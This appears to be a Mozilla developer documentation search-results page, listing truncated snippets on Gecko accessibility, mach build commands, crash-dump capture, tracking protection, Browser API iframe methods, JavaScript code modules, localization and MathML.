ve a dom node or anonymous content for its s textfield, button or list. in the future xbl form controls may be used, in which case there will be dom content for these sub-parts, and we will not need to override the traversal methods. that is why we don't need to override these traversal methods for nsxulcomboboxaccessible (<menulist>). nsouterdocaccessible: used for elements such as <iframe>, <browser> and <editor>, which spawn an entire new document, but don't actually have any child nodes in their own dom. nsxultreeaccessible: which does not have a dom node for each tree item, a special interface is provided by the tree itself to get the text for each row, column in the tree. in all of these accessible implementations we override nsiaccessible::getaccchildcount(), ::getaccfirstchild() a...
Information for Assistive Technology Vendors
keyboard documentation this lists mozilla's keyboard docs in a single long document. ...
Accessible Toolkit Checklist
ou can use the accessible description to expose the current tree view level and position, such as "l3, 6 of 9" in order to provide ease of access for the user. the "l" and "of" will be parsed out by the assistive technology, so don't localize it. mac os x difference: option+left and option+right should do deep expand/collapse mac os x difference: user should be able to select multiple rows and expand them with one keystroke. after the expansion, the multiple (now discontiguous) selection should remain. ...
ZoomText
testers we've made a lot of progress with mozilla/zoomtext compatibility. here's how you can test: download a copy of mozilla 1.8a6 (this is not firefox). read the release notes if you're interested. these builds are pretty stable considering they're only alpha, i'm having very good luck with them. it doesn't do us any good to get bug reports on older stuff right now. our main focus is on the browser itself, so you you only need to install mailnews or address book if curious about the other apps. you will also need to install zoomtext 8.11.3. happy testing! you may wish to read through the current issues on this page before reporting bugs. send me email so that i'm aware that you're testing and let me know what bugs you're finding. my email address is aaronleventhal@moonset.net. issues...
Adding a new event
eventdispatcher::createevent() is a factory to create a dom event instance from internal event instance. you need to modify this. the last half of it is the implementation of legacy event creator of javascript such as: var event = document.createevent("fooevent"); if you support this feature, you need to modify here. however, this feature shouldn't be implemented for compabitility with other browsers since web applications should use event constructor. register each event into eventnamelist.h if you're in case 3, you can skip this section. eventnamelist.h defines mapping between dom event name, internal event message, event handler attribute owner and internal event class. see the comments of the head of the file for the detail. modify tests if you're in case 3, you can skip this s...
A bird's-eye view of the Mozilla framework
g of a set of ui widgets and associated services implementing a particular application feature. chrome and extensions are examples of packages. content (dom) the mozilla document object model (dom) specifies a logical tree structure for storing ui and document content, and provides an api (application programming interface) for accessing and manipulating the content. an application such as the browser may have one or more open documents accessible via dom apis. when an html, xml, svg or other type of document is loaded, the nglayout engine (also known as gecko) parses the contents into a dom tree, and handles the layout and rendering of the document pages. the nglayout engine also parses xul ui controls into a dom tree and handles rendering of the ui. core services modules such as the ngla...
Testopia
a moving target. this decision allows us to focus our time more on releasing new features often and early rather than back porting. however, this means that most major feature will not be back ported to earlier versions unless and until we have time to do so. anyone wishing to help in this effort is more than welcome. bugzilla 4.x mysql 5.0 or postgresql 8.3 mozilla compatible browser ;-) additional perl modules: text::csv xml::schema validator xml::schema::parser (for importer) and json 2.10 todo user preferences notification emails more reports see the roadmap and bug list for more details. links faq wiki docs bugs (please read the bug reporting guide) official testopia blog irc: #testopia or #bugzilla ...
Creating Sandboxed HTTP Connections
a member: function myclass() { this.mchannel = null; // ... var listener = new this.streamlistener(callbackfunc); // ... } myclass.prototype.streamlistener = function (acallbackfunc) { return ({ mdata: "", // ... }) } handling cookies when sending a request, cookies that apply to the url are sent with the http request. the http response can also contain cookies, which the browser processes. as of mozilla 1.8.1 (firefox 2), it is now possible to intercept those two cases. for example, this means that if the user was logged into an webmail account, another account on the same domain could be checked without changing the user's cookies. the observer service (nsiobserverservice) is used to send general notifications, including the two cookie ones. the addobserver method i...
Capturing a minidump
ils about a crash, in which case manual capture of a minidump is desired. this page describes how to capture these minidumps on windows, to permit better debugging. privacy and minidumps warning! unlike the minidumps submitted by breakpad, these minidumps contain the complete contents of program memory. they are therefore much more likely to contain private information, if there is any in the browser. for this reason, you may prefer to generate minidumps against a clean profile where possible. capturing a minidump: application crash to capture a full minidump for an application crash, you can use a tool called windbg. install debugging tools for windows microsoft distributes the debugging tools for windows for free, those include windbg which you will need here. download it from install...
Interface Compatibility
illa platform is constantly evolving. as we add new features to the web and to our applications, programming interfaces change. the rules which govern interface changes are different depending on the consumers and the languages involved. web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. any changes, including new features, must have super-review. one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology preview. this includes css properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or javascript apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be re...
SVG Guidelines
ments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists. typical examples of this are <title> and <desc> tags. although this kind of data is supported by the browser, it can only be displayed when the svg is opened in a new tab. plus, in most of the cases, the filename is quite descriptive so it's recommended to remove that kind of metadata since it doesn't bring much value. you shouldn't include doctypes in your svgs either; they are a source of many issues, and the svg wg recommends not to include them. see svg authoring guidelines. avoid the use of cda...
Working with Mozilla source code
e changes you propose checked into the tree. getting a pre-configured mozilla build system virtual machine this is the easiest way to get started: use a virtualbox virtual machine which is already configured with a complete build environment for you to use. just boot the vm and build! viewing and searching mozilla source code online learn how to use searchfox, mozilla's online search and browsing tool for accessing the source code. this isn't a good way to download the code, but is a great way to search it. navigating the mozilla source code learn about the various folders in the mozilla source tree, and how to find what you're looking for. bugs for newcomers if you are new to the project and want something to work on, look here. interface development guide guidelines and d...
mach
if you get error messages, make sure that you have all of the build requisites for your system. if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/common/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests. mach figures out how to execute the tests for you! check out the linting and analysis tools: $ ./mach lint $ ./mach static-analysis mach and mozconfigs it's possible to use mach with multiple mozconfig files. mach's...
Index
ing resources. this new policy is designed as an alternative to the current policies, which have been available in firefox for many years. the new policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. this article explains how the new policy works and how you can test it. 171 tracking protection privacy, private browsing, blocking, tracking starting in version 42, firefox desktop and firefox for android include built-in tracking protection. in private browsing windows (tabs, in firefox for android), firefox will block content loaded from domains that track users across sites. 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla,...
Frame script environment
addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. ...
Frame script environment
addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. ...
Blocked: All storage access requests
message firefox: cookieblockedall=request to access cookies or storage on “x” was blocked because we are blocking all storage access requests. what went wrong? a request to access cookies or storage was blocked because the browser is blocking all storage access. the permission can be changed or removed by: going to preferences > content blocking in the custom content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element. ...
Blocked: Storage access requests from trackers
message firefox: cookieblockedtracker=request to access cookies or storage on “x” was blocked because it came from a tracker and content blocking is enabled. what went wrong? a request to access cookies or storage was blocked because the browser identified it as coming from a tracker and content blocking is enabled. the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element. ...
Tracking Protection
if blocked content is part of the page layout, users may notice layout issues where firefox blocked these loads. sometimes users won’t notice at all, if the page grid works such that other page elements slide in to fill holes left by blocked elements. when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/url" was blocked because tracking protection is enabled. ...
Firefox UI considerations for web developers
sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. firefox's top sites box in this article, we take a look at how to influence the appearance of your site in firefox user interface elements such as the top sites box. top sites the top sites box lists a user-configurable number of rows of icons serving as quick links to sites the user commonly visits, or that the user has chosen to pin to the top sites list in order to have quick access to them. each site is represented by an icon and, below it, a name for the site. while both of these can be edited by the user, you may wish to ensure that your site provides a good icon to use in places like this. how an icon is selected the...
Firefox
with broad compatibility, the latest in web technologies, and powerful development tools, firefox is a great choice for both web developers and end users. firefox is an open source project; much of the code is contributed by our huge community of volunteers. here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics. ...
HTMLIFrameElement.addNextPaintListener()
warning: removed in firefox 65. the addnextpaintlistener() method of the htmliframeelement is used to define a handler to listen for the next mozafterpaint event coming from the browser <iframe>. this event provides information about what has been repainted. it is mainly used to investigate performance optimization. note: the handler will receive the event once and then be thrown away. syntax instanceofhtmliframeelement.addnextpaintlistener(listener); returns void. parameters listener a function handler to listen for a mozafterpaint event. examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); specification not part of any specification. ...
HTMLIFrameElement.download()
al an options object allowing optional settings to be specified for the download. the available options are: filename: the filename to save the downloaded file as. if this is not specified, the filename used will be the original filename, as specified in the url. referrer: specifies a referrer for the downloaded file. if this is not specified there will be no referrer. examples var browser = document.queryselector('iframe'); var request = browser.download(foourl, { filename: 'foo.bin' }); request.onsuccess = function() { console.log("file downladed"); } request.onerror = function() { console.log("download error"); } specification not part of any specification. ...
HTMLIFrameElement.getActive()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the getactive() method of the htmliframeelement indicates whether the current browser <iframe> is the currently active frame. syntax var amiactive = instanceofhtmliframeelement.getactive(); returns a boolean indicating whether the current browser <iframe> is the currently active frame (true) or not (false.) parameters none. example var browser = document.queryselector('iframe'); var amiactive = browser.getactive(); specification not part of any specification. ...
HTMLIFrameElement.getContentDimensions()
x var instanceofdomrequest = instanceofhtmliframeelement.getcontentdimensions(); returns a domrequest for handling the dimensions request. its request.onsuccess handler handles the success case, and its request.onerror handler handles the failure case. the x and y dimensions are available in the request.result.x and request.result.y properties, respectively. parameters none. examples var browser = document.queryselector('iframe'); var request = browser.getcontentdimensions(); request.onsuccess = function() { console.log("page size:", request.result.width + "x" + request.result.height); } request.onerror = function() { console.log("download error"); } specification not part of any specification. ...
HTMLIFrameElement.getManifest()
warning: removed in firefox 65. the getmanifest() method of the htmliframeelement interface retrieves the manifest of an app loaded in the browser <iframe> and returns it as json. syntax instanceofhtmliframeelement.getmanifest().then(function(json) { ... }); parameters none. return value a promise that resolves to a json object representation of the loaded app's manifest. examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getmanifest().then(function(json) { console.log(json); }); }); specification not part of any specification. ...
HTMLIFrameElement.mute()
Mozilla › Gecko › Chrome › API › Browser API › mute
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mute() method of the htmliframeelement mute any audio playing in the browser <iframe>. syntax instanceofhtmliframeelement.mute(); returns void. parameters none. example var browser = document.queryselector('iframe'); browser.mute(); specification not in a specification. ...
HTMLIFrameElement.reload()
mplementations and the behavior may change in the future. the reload() method of the htmliframeelement interface is used to reload the content of the <iframe>. syntax instanceofhtmliframeelement.reload(hardreload); returns void. parameters hardreload optional a boolean that indicates whether all the resources to reload must be revalidated (true) or may be taken directly from the browser cache (false). examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification. ...
HTMLIframeElement.removeNextPaintListener()
warning: removed in firefox 65. the removenextpaintlistener() method of the htmliframeelement interface is used to remove a handler previously set with the addnextpaintlistener method. syntax instanceofhtmliframeelement.removenextpaintlistener(listener); returns void. parameters listener a function handler previously set with addnextpaintlistener. examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); browser.removenextpaintlistener(onnextpaint); specification not part of any specification. ...
HTMLIFrameElement.setActive()
change in the future. the setactive() method of the htmliframeelement sets the current <iframe> as the active frame, which has an effect on how it is prioritized by the process manager. syntax instanceofhtmliframeelement.setactive(boolean); returns void. parameters boolean a boolean that indicates whether the iframe is to be the active frame (true) or not (false). example var browser = document.queryselector('iframe'); browser.setactive(); specification not part of any specification. ...
HTMLIFrameElement.setVolume()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the setvolume() method of the htmliframeelement sets the current volume of the browser <iframe>. syntax instanceofhtmliframeelement.setvolume(number); returns void. parameters number a floating point number representing the volume you want to set — this can have a value between 0 and 1. example var browser = document.queryselector('iframe'); browser.setvolume(0.5); specification not part of any specification. ...
HTMLIFrameElement.stop()
Mozilla › Gecko › Chrome › API › Browser API › stop
also be large incompatibilities between implementations and the behavior may change in the future. the stop() method of the htmliframeelement interface is used to stop loading the content of the <iframe>. syntax instanceofhtmliframeelement.stop(); returns void. parameters none. examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification. ...
HTMLIFrameElement.unmute()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the unmute() method of the htmliframeelement unmutes any audio playing in the browser <iframe>. syntax instanceofhtmliframeelement.unmute(); returns void. parameters none. example var browser = document.queryselector('iframe'); browser.unmute(); specification not part of any specification. ...
Chrome-only API reference
Mozilla › Gecko › Chrome › API
this page lists apis that only run in gecko chrome code (and sometimes in other privileged circumstances). note: most of the apis exposed to the web in general are also usable in chrome code: see web apis for a list of these. browser apithe html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. it currently works in (privileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object. it works exactly like a standard worker, except that it has access to js-ctypes via a global ctypes object availab...
::-moz-tree-row
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the ::-moz-tree-row css pseudo-element is used to select rows and apply styles to tree rows. associated elements treerow syntax treechildren::-moz-tree-row { style properties } style properties background border margin outline padding display -moz-appearance examples treechildren::-moz-tree-row( foo bar ) { margin: 2%; } ...where... <treerow properties="foo">...</treerow> ...
MozBeforePaint
when trying to synchronize mozrequestanimationframe animations with smil animations or css transitions. this allows multiple animations to remain in sync with one another within the context of a given window. frame rate control mozbeforepaint won't fire more than a fixed number of times per second, e.g. 50 or 60. this is intentional, because modern operating systems and hardware won't let the browser display more frames than that anyway. limiting the frame rate avoids wasting work, thereby saving cpu usage and power and improving overall system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. <!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; background:lime; position:relative;"></div> <scr...
Gecko
gecko is the name of the layout engine developed by the mozilla project. it was originally named nglayout. gecko's function is to render web content, such as html, css, xul, javascript, and render it on the user's screen or print it. in xul-based applications gecko also renders the application's user interface. gecko is used in many applications, including a few browsers such as firefox and seamonkey (for a complete list, please refer to wikipedia's article on gecko). products using the same version of gecko have identical support for web standards. documentation chrome this page contains information specific to browser chrome (not google chrome) code running in gecko. gecko faq frequently asked questions about gecko. gecko dom refere...
Gecko's "Almost Standards" Mode
dards" modes. "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them. a common case that this affects is the layout of images inside table cells. this means that sliced-images-in-tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode. (see the devedge article "images, tables, and mysterious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child ...
How to get a process dump with Windows Task Manager
symbol server. you can use any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. creating the dump file ensure that firefox is not already running. run firefox, reproduce the hang start firefox and perform whatever steps are necessary to cause firefox to hang. once the browser hangs, continue with the steps below. after the hang open windows task manager (ctrl+shift+esc). find firefox.exe among the list of processes. right-click firefox.exe and select "create dump file". task manager should indicate where the dump file was written to. see also how to get a stacktrace for a bug report [en-us] how to create a user-mode process dump file in windows vista and...
How to get a stacktrace with WinDbg
ll not be able to type any commands into the debugger. after it starts, try to reproduce the crash or hanging issue that you are seeing. if firefox fails to start, and you see lines of text followed by a command prompt in the debugger, a "breakpoint" may have been triggered. if you are prompted for a command but don't see an error about a crash, go back to the debug menu and press go. once the browser crashes, you will see an error (such as "access violation") in the windbg command window. if firefox hangs and there is no command prompt available in the debugger, open the debug menu and choose break. once the browser has crashed or been stopped, continue with the steps below. after the crash or hang you need to capture the debug information to include in a bug comment or support request. e...
How to implement a custom autocomplete search component
textbox type="autocomplete" autocompletesearch="history"/> the type="autocomplete" turns on the autocomplete mechanism and the autocompletesearch="history" sets the source for the autocomplete. there are more options and features, see xul:textbox_(firefox_autocomplete) for more details. the toolkit mechanism has built-in support for several autocomplete sources, including: history: search the browser's url history (firefox: 1.0+; seamonkey: 1.1+) form-history: search the values that the user has entered into form fields. (firefox: 1.0+; seamonkey: 2.0+) file: search file names (firefox: 2.0+; thunderbird: 2.0+; seamonkey: 1.1+; gtk builds only). the component uses the autocompletesearchparam attribute or searchparam property to allow the developer to define the default directory otherwise...
Creating a New Protocol
lheaders . creating the implementation the c++ implementation inherits from the abstract ipdl-generated classes pnewprotocolparent and pnewprotocolchild. it must implement abstract methods for receiving the appropriate messages on each side. the method signatures can be read from the generated pnewprotocolparent.h and pnewprotocolchild.h headers. writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test framework with a <browser remote="true">. it is acceptable to use synchronous calls on jpw wrappers for testing purposes. it may be possible to test protocols unrelated to a particular window using the xpcshell testing framework, which has additional primitives in electrolysis for launching and running js commands in a content process. ...
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which performs a search of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. ...
Widget Wrappers
whether they are built-in to firefox or add-on-provided disabled for api-provided widgets, whether the widget is currently disabled. nb: this property is writable, and will toggle all the widgets' nodes' disabled states label for api-provided widgets, the label of the widget tooltiptext for api-provided widgets, the tooltip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated. attribute description id the widget's id type the type of widget (button, view, custom). for xul-provided widgets, this is always 'custom' provider the provider type...
FxAccountsOAuthClient.jsm
components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow. oncomplete function gets called when the firefox accounts oauth flow successfully completes. first and only argument is an object that has "state" and "code" properties. ...
Services.jsm
essscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service startup nsiappstartup application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manage...
Using workers in JavaScript code modules
you can do so by using chromeworker instead of the standard worker object. it works exactly like a standard worker, except that it has access to js-ctypes via a global ctypes object available in the global scope of the worker obsolete since gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: as of gecko 8.0, the nsiworkerfactory interface has been removed starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), you can use workers in javascript code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory i...
Webapps.jsm
lid) getdefaultcspbylocalid: function(alocalid) getapplocalidbystoreid: function(astoreid) getappbylocalid: function(alocalid) getmanifesturlbylocalid: function(alocalid) getapplocalidbymanifesturl: function(amanifesturl) getcoreappsbasepath: function() getwebappsbasepath: function() _islaunchable: function(aapp) _notifycategoryandobservers: function(subject, topic, data, msg) registerbrowserelementparentforapp: function(amsg, amn) receiveappmessage: function(appid, message) _clearprivatedata: function(appid, browseronly, msg) _sendprogressevent: function() updatestatechanged: function appobs_update(aupdate, astate) applicationcacheavailable: function appobs_cacheavail(aapplicationcache) ...
XPCOMUtils.jsm
); parameters classinfo an object containing the optional properties interfaces, contractid, classdescription, classid, flags. this parameter should not be the component itself because that would cause a memory leak. return value an nsiclassinfo implementation returning the values of the properties from the classinfo parameter in its various properties. exceptions thrown this method throws an exception with the message "in generateci, don't use a component for generating classinfo" if classinfo parameter is an xpcom component. generateqi() generates a queryinterface() function implementation. you need to assign the returned function to the queryinterface property of a javascript object. when the generated method is invoked on that object, it checks to see if the specified iid is...
openLocationLastURL.jsm
file menu. to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports. this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens. if the user is not in private browsing mode, this automatically updates the value of the general.open_location.last_url preference. note: this module automatically handles private browsing mode for you. the value preserved across accesses is not preserved when the user exits private browsing mode. using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value...
JavaScript code modules
d simplified api for dealing with http requests. jni.jsm abstracts the js-ctypes to provide an interface that allows javascript code to call code running in native jvms. iso8601dateutils.jsm provides routines to convert between javascript date objects and iso 8601 date strings. log.jsm (formerly log4moz) provides a log4j style api for logging, log messages to various endpoints, such as the browser console or a file on disk. netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously. openlocationlasturl.jsm provides access to the last url opened using the "open location" option in the file menu. osfile.jsm allows routines to access files. to which can be read, write, rename, creat...
Encodings for localization files
the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in this file must be set to good values. for most western scripts, ‘ms sans serif’ and ‘8’ are good defaults for the font settings. eastern scripts will need to choose appropriate fonts that are shipped with windows. see the table below for appropriate values for the charset= parameter. ...
Localization content best practices
elete #1 cookies important: always include the localization note with this format if you use a plural form in firefox. this comment is used by tools to identify strings with plural forms. one last advice: never use plural form as a replacement for single/multiple conditional. see bug 658191 for more details. use ordered variables in string with multiple variables consider this string from /browser: generalsiteidentity=this website is owned by %s\nthis has been verified by %s first thing: always add a localization comment explaining what these variables mean, even if it seems obvious. using multiple %s give the impression that the order of variables if fixed, which is actually not. # localization note(generalsiteidentity): %1$s is the owner of the current website, # %2$s is the name of...
Patching a Localization
modifications are printed to stdout (standard output). visually inspect your modifications. a good patch only contains those changes that you intended to make. if it contains more, you'll likely regress something else. alternatively, you can select specific files for diff to evaluate and print (see below). the command will only print the differences found in the selected files. hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or review or create a new one if one doesn't currently exist. hg diff > path/to/patchfile ...
Release phase
gesets. the output should look something like this: pushing to ssh://hg.mozilla.org/releases/l10n-central/x-testing searching for changes adding changesets adding manifests adding file changes added 1 changesets with 2 changes to 2 files congratulations! your changeset has been successfully pushed to hg.mozilla.org! you can now visit http://hg.mozilla.org/releases/l10n-central/x-testing in your browser to see the new changeset in the remote repository. troubleshooting ssh if pushing fails, make sure your ~/.ssh/config has the correct user set under the hg.mozilla.org host. this should be your mozilla ldap account name. next, try issuing the following command: $ ssh hg.mozilla.org if ssh is working fine, you should see the following message: no interactive shells allowed here! connection to hg...
SVN for Localizers
fore translating anything. sometimes mistakes happen and you need to start over. go back to the root of your working directory and execute this command: svn revert * this is a really helpful command because it reverts all of your changes to your working directory's last updated state. this is a huge blessing if you have been updating frequently. it's a nightmare if you haven't because it throws away all of your recent hard work. keep this in mind because if you did a lot of work and you made some errors in just one file, maybe it would be wiser to simply correct those errors instead of reverting your working directory and losing all your work. note: sometimes you'll find references to commands in abbreviated form (svn ci = svn commit, svn up = svn update, svn co = svn checkout, etc.) ...
Basics
on of a matrix a by a vector x (notice how ai1 , ... , ain , x1 are on the same baseline, other alignments are possible): i-th row [ a11 a12 a13 ... a1n : : : ... : ai1 ai2 ai3 ... ain : : : : an1 an2 an3 ... a n n ] [ x1 x2 x3 : xn ] in mozilla, mathml runs inside the main browser. so it responds to other browser operations such as the zoom (try view -> text zoom), and you can do links a 2 + b 2 = c 2 , apply stylistic effects a 2 + b 2 = c 2 , or use color a 2 + b 2 = c 2 in very strange ways p(x) q(x) = a0 + a1x + a2 x2 + ... + an-1 xn-1 b0 + b1x + b2 x2 + ... + bn-1 xn-1 . you can also do other weird and risky thi...
Extras
other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
Fonts for Mozilla's MathML engine
yphs for the arabic mathematical alphabetic symbols. if you are likely to need these characters, we recommend to install the xits or amiri fonts. installation without administrator privilege if you need to install fonts on a system without adminstrator privilege, the easiest option is to use math font the mathml-fonts add-on. note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml content. a better alternative on unix systems is to install the otf files for latin modern math and stix into some local font folder and (if necessary) to run fc-cache on it. on os x and linux, the standard paths are ~/library/fonts/ and ~/.fonts. fonts with a math table you can actually render ...
Mozilla MathML Status
nted. msup implemented. msubsup implemented. munder implemented. mover implemented. munderover implemented. mmultiscripts implemented. tabular math element [- attribute] notes mtable implemented. mtable - alignmentscope not implemented. see bug 122253. mtable - columnspacing, rowspacing, framespacing implemented. see bug 330964. mtable - columnwidth not implemented. see bug 958953. mtable - equalrows, equalcolumns not implemented. see bug 958954. mtable - side, minlabelspacing not implemented. see bug 356870. mtr implemented. mlabeledtr not implemented. see bug 689641. mtd implemented. * - ...
MathML Demo: <mtable> - tables and matrices
ternal vertical align is center ---... 1 22 333 4444 x 55555 666666 a b c 7777777 11 ...--- , cols arg is "|r|c|l|", \hline's above and below. when align="center" or align="baseline", the middle of the table coincides with the baseline. external vertical align is axis ---... 1 22 333 4444 x 55555 lim n→∞ f-1 ⋃ i=1 n ai rowspan=2 here xn + yn n columnspan=2 here 7777777 11 ...--- , columnlines="solid", rowlines="dashed solid dashed". by default -- when the align attribute is not set, or when align="axis", the middle of the table coincides with the math axis. external vertical align is top ---... 1 22 333 4444 55555 x + 1 666666 a b c 7777777 11 cols arg ...
Mozilla MathML Project
thml basics - document tailored to display correctly with just the symbol font that is pre-installed by default on most os configurations. mathml torture test - comparative testing of mathml rendering against tex. demo of some mathml tags: mfrac, mo, mtable, mspace, mmultiscripts, msqrt-mroot. mathml extras - technology demonstration of some interesting upshots from building natively upon the browser environment. various mathml tests - these pages were imported from layout/mathml/tests/. blog with comments that include mathml. create mathml documents authoring mathml editors converters stylesheets original document information author(s): roger b. sidje other contributors: frédéric wang last updated date: april 4, 2010 copyright information: portions of this content are ...
Mobile
...
Mozilla projects on GitHub
hboard a convenient dashboard to help you get an overview of your bugs. codefirefox the codefirefox site, with videos and tutorials about how to contribute to the firefox project and mozilla code in general. debugger.html the debugger.html, a modern universal js debugger for firefox devtools, node, and every other js environment. dxr an intelligent tool for browsing source code. emscripten the emscripten llvm-to-javascript compiler. fxdt-adapters the firefox developer tools adapter that lets you debug various remote targets from the firefox developer tools. firefox-dev.tools a web page to help new mozilla contributors find bugs to work on that relate to the firefox developer tools. gecko-dev a read-only mirr...
BloatView
freeing any of the instances you've allocated. these sorts of leaks are easy to fix. the total number of objects might be 1. this might indicate a global variable or service. usually this will have a large number of refcounts. if you find leaks, you can use refcount tracing and balancing to discover the root cause. combining and sorting bloat logs you can view one or more bloat logs in your browser by running the following program. perl tools/bloatview/bloattable.pl log1 log2 ... logn > htmlfile this will produce an html file that contains a table similar to the following (but with added javascript so you can sort the data by column). byte bloats name file date blank blank.txt tue aug 29 14:17:40 2000 mozilla mozilla.txt tue aug 29 14:18:42...
GC and CC logs
les appropriately to generate cc logs. the way to set environment variables depends on the test harness, or you can modify the code in nscyclecollector to set that directly. to find the cc logs once the try run has finished, click on the particular job, then click on "job details" in the bottom pane in treeherder, and you should see download links. to set the environment variable, find the buildbrowserenv method in the python file for the test suite you are interested in, and add something like this code to the file: browserenv["moz_cc_log_directory"] = os.environ["moz_upload_dir"] browserenv["moz_cc_log_shutdown"] = "1" analyzing gc and cc logs there are numerous scripts that analyze gc and cc logs on github. to find out why an object is being kept alive, the relevant scripts are find_ro...
Intel Power Gadget
rposes. specificially, the temperature is a proxy measurement that is affected by processor power consumption, rather than one that affects it, which makes it even less useful than most proxy measurements. intel power gadget can also log these results to a file. this feature has been used in energia, roberto vitillo's tool for systematically measuring differential power usage between different browsers. (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api from which the same measurements can be extracted programmatically. at one point the gecko profiler used this api on windows to implement experimental package power estimates. unfortunately, the gecko profi...
Leak Gauge
